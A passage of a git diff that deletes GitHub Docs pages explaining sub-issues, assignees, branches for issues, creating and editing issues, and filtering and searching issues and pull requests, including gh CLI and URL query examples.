issues and sub-issue progress is also available in your {% data variables.projects.projects_v2 %}, allowing you to build views, filter, and group by parent issue. - -Your sub-issues can themselves contain sub-issues, allowing you to create full hierarchies of issues that visualize entire projects or pieces of work and show the relationships between your issues. - -You can add up to {% data variables.projects.sub-issue_limit %} sub-issues per parent issue and create up to eight levels of nested sub-issues. - -## Creating a sub-issue - -1. Navigate to the issue that you want to add a sub-issue to. -1. At the bottom of the issue description, click **Create sub-issue**. -1. In the dialog, type the title for your sub-issue. -1. Optionally, type the description for your issue, and set {% ifversion issue-types %}the issue type and{% endif %} any assignees, labels, projects, and milestones. -1. Optionally, if you want to continue create sub-issues for this parent issue, select **Create more sub-issues**. -1. Click **Create**. - -## Adding an existing issue as a sub-issue - -1. Navigate to the issue that you want to add a sub-issue to. -1. At the bottom of the issue description, next to "Create sub-issue", click {% octicon "triangle-down" aria-label="View more sub-issue options" %}. - - ![Screenshot of the sub-issues section below the issue description. The "View more sub-issue options" button is highlighted with an orange rectangle.](/assets/images/help/issues/sub-issue-drop-down.png) - -1. In the drop-down menu, click **Add existing issue**. -1. Select the issue that you want to add as a sub-issue. - * Select an issue from one of the suggestions. - * In the "Search issues" field, type an issue title or issue number, then click on the results. - * To add issues from other repositories, click {% octicon "arrow-left" aria-label="Back to repository selection" %} next to the repository name and select a different repository. diff --git a/content/issues/tracking-your-work-with-issues/using-issues/assigning-issues-and-pull-requests-to-other-github-users.md b/content/issues/tracking-your-work-with-issues/using-issues/assigning-issues-and-pull-requests-to-other-github-users.md deleted file mode 100644 index d90f140cea66..000000000000 --- a/content/issues/tracking-your-work-with-issues/using-issues/assigning-issues-and-pull-requests-to-other-github-users.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Assigning issues and pull requests to other GitHub users -intro: Assignees clarify who is working on specific issues and pull requests. -permissions: 'Anyone with write access to a repository can assign issues and pull requests. {% data reusables.enterprise-accounts.emu-permission-repo %}' -redirect_from: - - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/assigning-issues-and-pull-requests-to-other-github-users - - /articles/assigning-issues-and-pull-requests-to-other-github-users - - /github/managing-your-work-on-github/assigning-issues-and-pull-requests-to-other-github-users - - /issues/tracking-your-work-with-issues/managing-issues/assigning-issues-and-pull-requests-to-other-github-users - - /issues/tracking-your-work-with-issues/assigning-issues-and-pull-requests-to-other-github-users -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Assign issues & PRs ---- - -## About issue and pull request assignees - -You can assign multiple people to each issue or pull request, including yourself, anyone who has commented on the issue or pull request, anyone with write permissions to the repository, and organization members with read permissions to the repository. For more information, see [AUTOTITLE](/get-started/learning-about-github/access-permissions-on-github). - -Issues and pull requests in public repositories, and in private repositories for a paid account, can have up to 10 people assigned. Private repositories on the free plan are limited to one person per issue or pull request. - -## Assigning an individual issue or pull request - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-issue-pr %} -1. Open the issue or pull request that you want to assign to someone. -1. In the right side menu, click **Assignees**. - - ![Screenshot of the right sidebar of an issue. A header, labeled "Assignees", is outlined in dark orange.](/assets/images/help/issues/assignee-menu.png) -1. To assign the issue or pull request to a user, start typing their username, then click their name when it appears. You can select and add up to ten assignees to an issue or pull request. - -## Assigning multiple issues or pull requests - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-issue-pr %} -1. Select the items you want to assign to someone. - - ![Screenshot of the first two items in a list of issues. To the left of each issue, a checkbox is checked and outlined in dark orange.](/assets/images/help/issues/issues-assign-checkbox.png) -1. In the upper-right corner, click **Assign**. -1. To assign the items to a user, start typing their username, then click their name when it appears. You can select and add up to ten assignees to an issue or pull request. - -## Further reading - -* [AUTOTITLE](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests) diff --git a/content/issues/tracking-your-work-with-issues/using-issues/browsing-sub-issues.md b/content/issues/tracking-your-work-with-issues/using-issues/browsing-sub-issues.md deleted file mode 100644 index 11a06a015953..000000000000 --- a/content/issues/tracking-your-work-with-issues/using-issues/browsing-sub-issues.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Browsing sub-issues -intro: 'Learn how to navigate issue hierarchy in your repositories.' -versions: - feature: 'sub-issues' -type: overview -topics: - - Project management ---- - -{% data reusables.issues.about-sub-issues %} - -## Navigating issue hierarchy - -You can browse through all levels of sub-issues from the parent issue. - -1. Navigate to the parent issue. -1. To view the sub-issues under another sub-issue, click the expand toggle ({% octicon "triangle-right" aria-hidden="true" %}). - - ![Screenshot of a sub-issues section. The expand toggle is highlighted with an orange rectangle.](/assets/images/help/issues/sub-issue-expand.png) - -## Finding a sub-issue's parent issue - -When you view a sub-issue, you can always find a link back to the parent issue in the header below the issue title. - -![Screenshot of a sub-issue's header. The link to the parent issue, "Parent: create a scoreboard", is highlighted with an orange rectangle.](/assets/images/help/issues/sub-issue-parent.png) - -## Using sub-issues in your projects - -You can add sub-issues to your projects and make use of the hierarchy data for building views, grouping items, and filtering your views. See [AUTOTITLE](/issues/planning-and-tracking-with-projects/understanding-fields/about-parent-issue-and-sub-issue-progress-fields). diff --git a/content/issues/tracking-your-work-with-issues/using-issues/creating-a-branch-for-an-issue.md b/content/issues/tracking-your-work-with-issues/using-issues/creating-a-branch-for-an-issue.md deleted file mode 100644 index 1a20271ae393..000000000000 --- a/content/issues/tracking-your-work-with-issues/using-issues/creating-a-branch-for-an-issue.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Creating a branch to work on an issue -intro: You can create a branch to work on an issue directly from the issue page and get started right away. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -allowTitleToDifferFromFilename: true -topics: - - Issues -shortTitle: Create branch for issue -redirect_from: - - /issues/tracking-your-work-with-issues/creating-a-branch-for-an-issue ---- - -> [!NOTE] -> The ability to create a branch for an issue is currently in {% data variables.release-phases.public_preview %} and subject to change. - -## About branches connected to an issue - -Branches connected to an issue are shown under the "Development" section in the sidebar of an issue. When you create a pull request for one of these branches, it is automatically linked to the issue. The connection with that branch is removed and only the pull request is shown in the "Development" section. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue). - -## Creating a branch for an issue - -Anyone with write permission to a repository can create a branch for an issue. You can link multiple branches for an issue. - -By default, the new branch is created in the current repository, and from the default branch. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-issues %} -1. In the list of issues, click the issue that you would like to create a branch for. -1. In the right sidebar under "Development", click **Create a branch**. If the issue already has a linked branch or pull request, select {% octicon "gear" aria-label="Development" %} and click **Create a branch**. - - ![Screenshot of the issue sidebar. In the "Development" section, a link, labeled "Create a branch", is outlined in dark orange.](/assets/images/help/issues/create-a-branch.png) -1. Optionally, in the "Branch name" field, type a branch name. -1. Optionally, select the **Repository destination** dropdown menu, then choose a repository. -1. Under "What's next", select whether you want to work on the branch locally or to open the branch in {% data variables.product.prodname_desktop %}. -1. Click **Create branch**. diff --git a/content/issues/tracking-your-work-with-issues/using-issues/creating-an-issue.md b/content/issues/tracking-your-work-with-issues/using-issues/creating-an-issue.md deleted file mode 100644 index 0903a71486e1..000000000000 --- a/content/issues/tracking-your-work-with-issues/using-issues/creating-an-issue.md +++ /dev/null @@ -1,176 +0,0 @@ ---- -title: Creating an issue -intro: 'Issues can be created in a variety of ways, so you can choose the most convenient method for your workflow.' -permissions: 'People with read access can create an issue in a repository where issues are enabled. {% data reusables.enterprise-accounts.emu-permission-repo %}' -redirect_from: - - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/creating-an-issue - - /articles/creating-an-issue - - /github/managing-your-work-on-github/creating-an-issue - - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/opening-an-issue-from-a-comment - - /github/managing-your-work-on-github/opening-an-issue-from-a-comment - - /issues/tracking-your-work-with-issues/creating-issues/opening-an-issue-from-a-comment - - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/opening-an-issue-from-code - - /articles/opening-an-issue-from-code - - /github/managing-your-work-on-github/opening-an-issue-from-code - - /issues/tracking-your-work-with-issues/creating-issues/opening-an-issue-from-code - - /issues/tracking-your-work-with-issues/creating-issues/about-automation-for-issues-and-pull-requests-with-query-parameters - - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/about-automation-for-issues-and-pull-requests-with-query-parameters - - /articles/about-automation-for-issues-and-pull-requests-with-query-parameters - - /github/managing-your-work-on-github/about-automation-for-issues-and-pull-requests-with-query-parameters - - /issues/tracking-your-work-with-issues/creating-issues/creating-an-issue - - /issues/tracking-your-work-with-issues/creating-an-issue -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests - - Issues - - Project management -shortTitle: Create an issue -type: how_to ---- - -Issues can be used to keep track of bugs, enhancements, or other requests. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/about-issues). - -{% data reusables.repositories.administrators-can-disable-issues %} - -## Creating an issue from a repository - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-issues %} -{% data reusables.repositories.new_issue %} -1. If your repository uses issue templates, next to the type of issue you'd like to open, click **Get started**. - - If the type of issue you'd like to open isn't included in the available options, click **Open a blank issue**. - - ![Screenshot of the template chooser for an issue. Below the template choices, a link, labeled "Open a blank issue," is outlined in dark orange.](/assets/images/help/issues/blank-issue-link.png) -{% data reusables.repositories.type-issue-title-and-description %} -{% data reusables.repositories.assign-an-issue-as-project-maintainer %} -{% data reusables.repositories.submit-new-issue %} - -## Creating an issue with {% data variables.product.prodname_cli %} - -{% data reusables.cli.about-cli %} To learn more about {% data variables.product.prodname_cli %}, see [AUTOTITLE](/github-cli/github-cli/about-github-cli). - -To create an issue, use the `gh issue create` subcommand. To skip the interactive prompts, include the `--body` and the `--title` flags. - -```shell -gh issue create --title "My new issue" --body "Here are more details." -``` - -You can also specify assignees, labels, milestones, and projects. - -```shell -gh issue create --title "My new issue" --body "Here are more details." --assignee @me,monalisa --label "bug,help wanted" --project onboarding --milestone "learning codebase" -``` - -## Creating an issue from a comment - -You can open a new issue from a comment in an issue or pull request. When you open an issue from a comment, the issue contains a snippet showing where the comment was originally posted. - -1. Navigate to the comment that you would like to open an issue from. -1. In that comment, click {% octicon "kebab-horizontal" aria-label="Show options" %}. - - ![Screenshot of a comment on a pull request. The kebab button is outlined in dark orange.](/assets/images/help/pull_requests/kebab-in-pull-request-review-comment.png) - -1. Click **Reference in new issue**. -1. Use the "Repository" dropdown menu, and select the repository you want to open the issue in. -1. Type a descriptive title and body for the issue. -1. Click **Create issue**. -{% data reusables.repositories.assign-an-issue-as-project-maintainer %} -{% data reusables.repositories.submit-new-issue %} - -## Creating an issue from code - -You can open a new issue from a specific line or lines of code in a file or pull request. When you open an issue from code, the issue contains a snippet showing the line or range of code you chose. You can only open an issue in the same repository where the code is stored. - -{% data reusables.repositories.navigate-to-repo %} -1. Locate the code you want to reference in an issue: - * To open an issue about code in a file, navigate to the file. - * To open an issue about code in a pull request, navigate to the pull request and click **{% octicon "diff" aria-hidden="true" %} Files changed**. Then, browse to the file that contains the code you want included in your comment, and click **View**. -{% data reusables.repositories.choose-line-or-range %} -1. To the left of the code range, click {% octicon "kebab-horizontal" aria-label="Code line X options" %}. In the dropdown menu, click **Reference in new issue**. - - ![Screenshot of a file, with 8 lines selected. To the left of the first selected line, a button labeled with a kebab icon is outlined in dark orange.](/assets/images/help/repository/open-new-issue-specific-line.png) -{% data reusables.repositories.type-issue-title-and-description %} -{% data reusables.repositories.assign-an-issue-as-project-maintainer %} -{% data reusables.repositories.submit-new-issue %} - -## Creating an issue from discussion - -People with triage permission to a repository can create an issue from a discussion. - -When you create an issue from a discussion, the contents of the discussion post will be automatically included in the issue body, and any labels will be retained. Creating an issue from a discussion does not convert the discussion to an issue or delete the existing discussion. For more information about {% data variables.product.prodname_discussions %}, see [AUTOTITLE](/discussions/collaborating-with-your-community-using-discussions/about-discussions). - -{% data reusables.discussions.discussions-tab %} -{% data reusables.discussions.click-discussion-in-list %} -1. In the right sidebar, click **{% octicon "issue-opened" aria-hidden="true" %} Create issue from discussion**. - - ![Screenshot of the sidebar in a discussion. The "Create issue from discussion" option is outlined in dark orange.](/assets/images/help/discussions/create-issue-from-discussion.png) - -{% data reusables.repositories.type-issue-title-and-description %} -{% data reusables.repositories.assign-an-issue-as-project-maintainer %} -{% data reusables.repositories.submit-new-issue %} - -## Creating an issue from a project - -{% data reusables.projects.about-issue-modal %} For more information about Projects, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects). - -1. Navigate to your project. -{% data reusables.projects.create-issue-modal %} - -{% ifversion projects-v1 %} - -## Creating an issue from a {% data variables.projects.projects_v1_board %} note - -If you're using a {% data variables.projects.projects_v1_board %} to track and prioritize your work, you can convert notes to issues. For more information, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards) and [AUTOTITLE](/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board#converting-a-note-to-an-issue). - -{% endif %} - -{% ifversion fpt or ghec %} - -## Creating an issue from a task list item - -Within an issue, you can use task lists to break work into smaller tasks and track the full set of work to completion. If a task requires further tracking or discussion, you can convert the task to an issue by hovering over the task and clicking {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists). - -{% endif %} - -## Creating an issue from a URL query - -You can use query parameters to open issues. Query parameters are optional parts of a URL you can customize to share a specific web page view, such as search filter results or an issue template on {% data variables.product.prodname_dotcom %}. To create your own query parameters, you must match the key and value pair. - -> [!TIP] -> You can also create issue templates that open with default labels, assignees, and an issue title. For more information, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests). - -You must have the proper permissions for any action to use the equivalent query parameter. For example, you must have permission to add a label to an issue to use the `labels` query parameter. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization). - -If you create an invalid URL using query parameters, or if you don’t have the proper permissions, the URL will return a `404 Not Found` error page. If you create a URL that exceeds the server limit, the URL will return a `414 URI Too Long` error page. - -Query parameter | Example ---- | --- -`title` | `https://github.com/octo-org/octo-repo/issues/new?labels=bug&title=New+bug+report` creates an issue with the label "bug" and title "New bug report." -`body` | `https://github.com/octo-org/octo-repo/issues/new?title=New+bug+report&body=Describe+the+problem.` creates an issue with the title "New bug report" and the comment "Describe the problem" in the issue body. -`labels` | `https://github.com/octo-org/octo-repo/issues/new?labels=help+wanted,bug` creates an issue with the labels "help wanted" and "bug". -`milestone` | `https://github.com/octo-org/octo-repo/issues/new?milestone=testing+milestones` creates an issue with the milestone "testing milestones." -`assignees` | `https://github.com/octo-org/octo-repo/issues/new?assignees=octocat` creates an issue and assigns it to @octocat. -`projects` | `https://github.com/octo-org/octo-repo/issues/new?title=Bug+fix&projects=octo-org/1` creates an issue with the title "Bug fix" and adds it to the organization's project 1. -`template` | `https://github.com/octo-org/octo-repo/issues/new?template=issue_template.md` creates an issue with a template in the issue body. The `template` query parameter works with templates stored in an `ISSUE_TEMPLATE` subdirectory within the root, `docs/` or `.github/` directory in a repository. For more information, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests). - -{% ifversion fpt or ghec %} -You can also use URL query parameters to fill custom text fields that you have defined in issue form templates. Query parameters for issue form fields can also be passed to the issue template chooser. For more information, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema#keys). -{% endif %} - -{% ifversion code-scanning-task-lists %} - -## Creating an issue from a {% data variables.product.prodname_code_scanning %} alert - -{% data reusables.code-scanning.beta-alert-tracking-in-issues %} -If you're using issues to track and prioritize your work, you can use issues to track {% data variables.product.prodname_code_scanning %} alerts. -{% data reusables.code-scanning.alert-tracking-link %} - -{% endif %} - -## Further reading - -* [AUTOTITLE](/get-started/writing-on-github) diff --git a/content/issues/tracking-your-work-with-issues/using-issues/editing-an-issue.md b/content/issues/tracking-your-work-with-issues/using-issues/editing-an-issue.md deleted file mode 100644 index 4eb1fb4fa202..000000000000 --- a/content/issues/tracking-your-work-with-issues/using-issues/editing-an-issue.md +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Editing an issue -intro: 'Learn how to make changes to an existing issue.' -permissions: 'Issue authors, people with write access or higher in repositories owned by an organization, and collaborators in repositories owned by a personal account can make changes to issues. {% data reusables.enterprise-accounts.emu-permission-repo %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests - - Issues - - Project management -type: how_to ---- - -## Editing an issue title - -You can edit an issue's title. The change to the title is added to the issue's timeline. - -1. Navigate to the issue you want to edit. -1. To the right of the issue title, click **Edit**. - - ![Screenshot of an issue header, the "Edit" button is highlighted with an orange outline.](/assets/images/help/issues/issue-edit-title.png) - -1. Type your new title. -1. Click **Save**. - -## Editing an issue description - -You can also make changes to the issue description. The edit history is available unless the author or a person with write access removes it. See [AUTOTITLE](/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment). - -1. Navigate to the issue you want to edit. -1. At the top right of the issue description, click {% octicon "kebab-horizontal" aria-label="Issue body actions" %}. - - ![Screenshot of an issue description. The "Issue body actions" button is highlighted with an orange outline.](/assets/images/help/issues/issue-edit-description.png) - -1. In the menu, click **{% octicon "pencil" aria-hidden="true" %} Edit**. -1. Type your changes to the issue description. -1. Click **Save**. - -{% ifversion issue-types %} - -## Adding or changing the issue type - -{% data reusables.issues.release-stage %} - -You can add an issue type or make changes to an existing issue type. - -1. Navigate to the issue you want to edit. -1. To the right of the issue, in the sidebar, click **Type**. - - ![Screenshot of an issue sidebar. The "Add issue type" button is highlighted with an orange outline.](/assets/images/help/issues/issue-add-type.png) - -1. In the list, select a new issue type. -1. Click **Save**. - -{% endif %} - -## Further reading - -* [AUTOTITLE](/issues/tracking-your-work-with-issues/administering-issues/closing-an-issue) -* [AUTOTITLE](/issues/tracking-your-work-with-issues/administering-issues/deleting-an-issue) diff --git a/content/issues/tracking-your-work-with-issues/using-issues/filtering-and-searching-issues-and-pull-requests.md b/content/issues/tracking-your-work-with-issues/using-issues/filtering-and-searching-issues-and-pull-requests.md deleted file mode 100644 index 4e4316b97dff..000000000000 --- a/content/issues/tracking-your-work-with-issues/using-issues/filtering-and-searching-issues-and-pull-requests.md +++ /dev/null @@ -1,279 +0,0 @@ ---- -title: Filtering and searching issues and pull requests -intro: 'To find detailed information about a repository on {% data variables.product.github %}, you can filter, sort, and search issues and pull requests that are relevant to the repository.' -redirect_from: - - /github/managing-your-work-on-github/finding-information-in-a-repository/filtering-issues-and-pull-requests-by-assignees - - /articles/filtering-issues-and-pull-requests-by-assignees - - /github/managing-your-work-on-github/filtering-issues-and-pull-requests-by-assignees - - /github/managing-your-work-on-github/finding-information-in-a-repository/filtering-issues-and-pull-requests-by-labels - - /articles/filtering-issues-and-pull-requests-by-labels - - /github/managing-your-work-on-github/filtering-issues-and-pull-requests-by-labels - - /github/managing-your-work-on-github/finding-information-in-a-repository/filtering-issues-and-pull-requests - - /articles/filtering-issues-and-pull-requests - - /github/managing-your-work-on-github/filtering-issues-and-pull-requests - - /github/managing-your-work-on-github/finding-information-in-a-repository/filtering-pull-requests-by-review-status - - /articles/filtering-pull-requests-by-review-status - - /github/managing-your-work-on-github/filtering-pull-requests-by-review-status - - /github/managing-your-work-on-github/finding-information-in-a-repository - - /articles/finding-information-in-a-repository - - /github/managing-your-work-on-github/finding-information-in-a-repository/sharing-filters - - /articles/sharing-filters - - /github/managing-your-work-on-github/sharing-filters - - /github/managing-your-work-on-github/finding-information-in-a-repository/using-search-to-filter-issues-and-pull-requests - - /articles/using-search-to-filter-issues-and-pull-requests - - /github/managing-your-work-on-github/using-search-to-filter-issues-and-pull-requests - - /github/managing-your-work-on-github/finding-information-in-a-repository/sorting-issues-and-pull-requests - - /articles/sorting-issues-and-pull-requests - - /github/managing-your-work-on-github/sorting-issues-and-pull-requests - - /github/administering-a-repository/finding-information-in-a-repository - - /github/administering-a-repository/finding-information-in-a-repository/filtering-issues-and-pull-requests - - /github/administering-a-repository/finding-information-in-a-repository/filtering-issues-and-pull-requests-by-assignees - - /github/administering-a-repository/finding-information-in-a-repository/filtering-issues-and-pull-requests-by-labels - - /github/administering-a-repository/finding-information-in-a-repository/filtering-pull-requests-by-review-status - - /github/administering-a-repository/finding-information-in-a-repository/sorting-issues-and-pull-requests - - /github/administering-a-repository/finding-information-in-a-repository/using-search-to-filter-issues-and-pull-requests - - /github/administering-a-repository/finding-information-in-a-repository/sharing-filters - - /issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Issues - - Pull requests -shortTitle: Filter and search -type: how_to ---- - -{% data reusables.cli.filter-issues-and-pull-requests-tip %} - -## Filtering issues and pull requests - -Issues and pull requests come with a set of default filters you can apply to organize your listings. - -You can filter issues and pull requests to find: -* All open issues and pull requests -* Issues and pull requests that you've created -* Issues and pull requests that are assigned to you -* Issues and pull requests where you're [**@mentioned**](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#mentioning-people-and-teams) - -{% data reusables.cli.filter-issues-and-pull-requests-tip %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-issue-pr %} -1. Above the list, select the **Filters** dropdown menu, then click the type of filter you're interested in. - - ![Screenshot of the list of issues for a repository. Above the list, a dropdown menu, labeled "Filters", is outlined in dark orange.](/assets/images/help/issues/issues-filter-dropdown.png) - -{% ifversion issues-advanced-search %} - -{% webui %} - -## Building advanced filters for issues - -You can build advanced filters using boolean and nested queries on your repository's issues page. As you type your filter, {% data variables.product.github %} will show available qualifiers, suggest values, and warn when there is a problem with your filter. - -### Using boolean operators - -You can use `AND` and `OR` operators to refine your filters. - -Use `AND` when you need results where both statements are true. In the example filter below, the results will be comprised of issues with the "Bug fix" label that are assigned to the @octocat user. - -```text -label:"Bug fix" AND assignee:octocat -``` - -To return results where either statement is true, use `OR`. In the example below, the results will contain issues assigned to either @octocat or @hubot. - -```text -assignee:octocat OR assignee:hubot -``` - -If you choose not to use `AND` and `OR` operators, {% data variables.product.github %} will treat a space between statements as an `AND` operator unless you are using an `org`, `repo`, or `user` field to filter by ownership where any spaces will be treated as an `OR` operator. - -### Using parentheses for more complicated filters - -You can also use parentheses to nest filters and group qualifiers. In the example below, the results will contain issues that are either assigned to @octocat with the "bug" issue type or assigned to @hubot with the "Enhancement" issue type. - -```text -(type:"Bug" AND assignee:octocat) OR (type:"Enhancement" AND assignee:hubot) -``` - -You can nest filters using parentheses up to five levels deep. It's not currently possible to include the `repo`, `org`, or `user` qualifiers within parentheses. - -{% endwebui %} - -{% endif %} - -## Filtering issues and pull requests by assignees - -Once you've [assigned an issue or pull request to someone](/issues/tracking-your-work-with-issues/assigning-issues-and-pull-requests-to-other-github-users), you can find items based on who's working on them. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-issue-pr %} -1. Above the list of issues or pull requests, select the **Assignee** dropdown menu. - - ![Screenshot of a list of issues. In the header above the list, a dropdown menu, labeled "Assignees", is outlined in dark orange.](/assets/images/help/issues/issues-assignee-dropdown.png) -1. The Assignee drop-down menu lists everyone who has write access to your repository. Click the name of the person whose assigned items you want to see, or click **Assigned to nobody** to see which issues are unassigned. - -> [!TIP] -> To clear your filter selection, click **Clear current search query, filters, and sorts**. - -## Filtering issues and pull requests by labels - -Once you've [applied labels to an issue or pull request](/issues/using-labels-and-milestones-to-track-work/managing-labels), you can find items based on their labels. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-issue-pr %} -{% data reusables.project-management.labels %} -1. In the list of labels, click a label. - -> [!TIP] -> To clear your filter selection, click **Clear current search query, filters, and sorts**. - -{% ifversion issue-types %} - -## Filtering by issue type - -If your organization uses issue types, you can filter issues for a particular type. You can also type the `type:` qualifier directly into your filter. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-issues %} -1. Above the list of issues, select the **Types** dropdown menu. - - ![Screenshot of a list of issues. In the list header, the "Types" filter is outlined in orange and expanded.](/assets/images/help/issues/issue-type-dropdown.png) - -1. In the list of type, click an issue type. - -{% endif %} - -## Filtering pull requests by review status - -You can use filters to list pull requests by review status and to find pull requests that you've reviewed or other people have asked you to review. - -You can filter a repository's list of pull requests to find: -* Pull requests that haven't been [reviewed](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) yet -* Pull requests that [require a review](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches#require-pull-request-reviews-before-merging) before they can be merged -* Pull requests that a reviewer has approved -* Pull requests in which a reviewer has asked for changes -* Pull requests that you have reviewed -* Pull requests that someone has asked you directly to review -* Pull requests that [someone has asked you, or a team you're a member of, to review](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review) - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-pr %} -1. In the upper-right corner, select the **Reviews** dropdown menu. - - ![Screenshot of the filter menu above the list of pull requests. The "Reviews" dropdown is outlined in dark orange.](/assets/images/help/pull_requests/reviews-filter-dropdown.png) - -1. Choose a filter to find all of the pull requests with that filter's status. - -## Using search to filter issues and pull requests - -You can use filters to search for issues and pull requests that meet specific criteria. - -### Searching for issues and pull requests - -{% webui %} - -The issues and pull requests search bar allows you to define your own custom filters and sort by a wide variety of criteria. You can find the search bar on each repository's **Issues** and **Pull requests** tabs and on your [Issues and Pull requests dashboards](/issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests). - -![Screenshot of the list of issues for a repository. Above the list, a search field, containing the query "is:issue is:open", is outlined in orange.](/assets/images/help/issues/issues-search-bar.png) - -> [!TIP] -> {% data reusables.search.search_issues_and_pull_requests_shortcut %} - -{% endwebui %} - -{% cli %} - -{% data reusables.cli.cli-learn-more %} - -You can use the {% data variables.product.prodname_cli %} to search for issues or pull requests. Use the `gh issue list` or `gh pr list` subcommand along with the `--search` argument and a search query. - -For example, you can list, in order of date created, all issues that have no assignee and that have the label `help wanted` or `bug`. - -```shell -gh issue list --search 'no:assignee label:"help wanted",bug sort:created-asc' -``` - -You can also list all pull requests that mention the `octo-org/octo-team` team. - -```shell -gh pr list --search "team:octo-org/octo-team" -``` - -{% endcli %} - -### About search terms - -With issue and pull request search terms, you can: - -* Filter issues and pull requests by author: `state:open type:issue author:octocat` -* Filter issues and pull requests that involve, but don't necessarily [**@mention**](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#mentioning-people-and-teams), certain people: `state:open type:issue involves:octocat` -* Filter issues and pull requests by assignee: `state:open type:issue assignee:octocat` -* Filter issues and pull requests by label: `state:open type:issue label:"bug"` -* Filter out search terms by using `-` before the term: `state:open type:issue -author:octocat` - -> [!TIP] -> You can filter issues and pull requests by label using logical OR or using logical AND. -> * To filter issues using logical OR, use the comma syntax: `label:"bug","wip"`. -> * To filter issues using logical AND, use separate label filters: `label:"bug" label:"wip"`. - -For issues, you can also use search to: - -* Filter for issues that are linked to a pull request by a closing reference: `linked:pr` -* Filter issues by the reason they were closed: `is:closed reason:completed` or `is:closed reason:"not planned"` -{% ifversion issue-types %}* Filter for issues with a particular type: `is:open type:"Bug"`{% endif %} - -For pull requests, you can also use search to: - -* Filter [draft](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests#draft-pull-requests) pull requests: `is:draft` -* Filter pull requests that haven't been [reviewed](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) yet: `state:open type:pr review:none` -* Filter pull requests that [require a review](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches#require-pull-request-reviews-before-merging) before they can be merged: `state:open type:pr review:required` -* Filter pull requests that a reviewer has approved: `state:open type:pr review:approved` -* Filter pull requests in which a reviewer has asked for changes: `state:open type:pr review:changes_requested` -* Filter pull requests by [reviewer](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews): `state:open type:pr reviewed-by:octocat` -* Filter pull requests by the specific user [requested for review](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review): `state:open type:pr review-requested:octocat` -* Filter pull requests that someone has asked you directly to review: `state:open type:pr user-review-requested:@me` -* Filter pull requests by the team requested for review: `state:open type:pr team-review-requested:github/docs` -* Filter for pull requests that are linked to an issue that the pull request may close: `linked:issue` -* Filter pull requests by state of [merging](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges): `is:merged` or `is:unmerged` - -## Sorting issues and pull requests - -Filters can be sorted to provide better information during a specific time period. - -You can sort any filtered view by: - -* The newest created issues or pull requests -* The oldest created issues or pull requests -* The most commented issues or pull requests -* The least commented issues or pull requests -* The newest updated issues or pull requests -* The oldest updated issues or pull requests -* The most added reaction on issues or pull requests - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-issue-pr %} -1. Above the list of issues or pull requests, select the **Sort** dropdown menu, then click a sort method. - - ![Screenshot of the list of issues for a repository. Above the list, a dropdown menu, labeled "Sort," is outlined in dark orange.](/assets/images/help/issues/issues-sort-dropdown.png) - -To clear your sort selection, click **Sort** > **Newest**. - -## Sharing filters - -When you filter or sort issues and pull requests, your browser's URL is automatically updated to match the new view. - -You can send the URL that issues generates to any user, and they'll be able to see the same filter view that you see. - 